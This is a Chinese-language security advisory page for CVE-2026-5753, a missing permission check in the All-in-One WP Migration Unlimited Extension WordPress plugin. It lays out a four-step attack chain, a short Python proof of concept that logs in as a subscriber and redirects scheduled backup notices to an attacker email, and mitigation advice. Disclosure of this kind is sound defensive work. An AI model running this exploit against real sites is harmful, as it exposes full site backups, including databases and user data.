IPBUF安全漏洞报告
English
CVE-2026-5753 CVSS 6.5 中危

CVE-2026-5753: WP Migration插件越权备份漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-5753
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress All-in-One WP Migration Unlimited Extension Plugin

相关标签

权限绕过WordPress信息泄露All-in-One WP MigrationCVE-2026-5753

漏洞概述

WordPress插件All-in-One WP Migration Unlimited Extension在2.83及以下版本中存在权限缺失漏洞。由于`Ai1wmve_Schedules_Controller::save`处理程序未验证用户能力,低权限(如订阅者)攻击者可创建定时导出任务,并将备份通知发送至攻击者邮箱。攻击者利用通知中的备份文件名下载完整站点备份,导致敏感信息泄露,严重威胁网站安全。

技术细节

该漏洞核心在于WordPress插件All-in-One WP Migration Unlimited Extension的权限校验逻辑缺失。具体而言,负责处理保存计划任务的`Ai1wmve_Schedules_Controller::save`函数,在通过`admin_post_ai1wm_schedule_event_save`动作钩子被调用时,未检查当前用户是否具备管理插件或导出数据的权限(如未检查`manage_options`能力)。这允许低权限用户(如订阅者)直接访问`/wp-admin/admin-post.php`端点,提交包含恶意邮箱地址的POST数据来创建或修改导出计划。当触发条件满足时,插件会向指定邮箱发送包含备份任务详情的邮件。关键在于,该邮件内容包含了带有随机Token的备份文件名。攻击者利用这一信息,结合已知的备份存储路径或下载接口,能够绕过权限验证直接下载整个网站的备份文件,从而获取数据库、配置文件及用户数据等敏感信息。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者在目标WordPress站点注册一个订阅者级别的账户,或者获取已有的低权限账户凭据。
STEP 2
步骤2:发送恶意请求
攻击者使用该账户登录,并向`admin-post.php`发送POST请求,触发`ai1wm_schedule_event_save`动作,设置计划导出任务,并将通知邮箱修改为攻击者控制的邮箱。
STEP 3
步骤3:等待或触发任务
等待计划任务自动执行,或寻找手动触发的方式。任务执行后,插件会向攻击者邮箱发送包含备份文件名的通知邮件。
STEP 4
步骤4:下载备份文件
攻击者从邮件中提取随机生成的备份文件名,直接访问备份下载链接,获取包含敏感数据的完整网站备份。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "https://example.com/wp-admin/admin-post.php" username = "subscriber" password = "password" attacker_email = "[email protected]" # 1. Login to get authenticated cookies login_url = "https://example.com/wp-login.php" session = requests.Session() payload = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=payload) # 2. Exploit: Create scheduled export to leak filename exploit_payload = { "action": "ai1wm_schedule_event_save", "ai1wm_schedule_email": attacker_email, # Add other required schedule parameters if necessary } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit sent successfully. Check attacker email for backup filename.") else: print("[-] Exploit failed.")

影响范围

All-in-One WP Migration Unlimited Extension <= 2.83

防御指南

临时缓解措施
建议立即将插件升级到最新版本。如果暂时无法升级,应禁用该插件或通过服务器端配置(如.htaccess或Nginx规则)限制对`/wp-admin/admin-post.php`的POST请求,仅允许受信任的IP或管理员访问,或删除插件中的计划任务相关代码逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表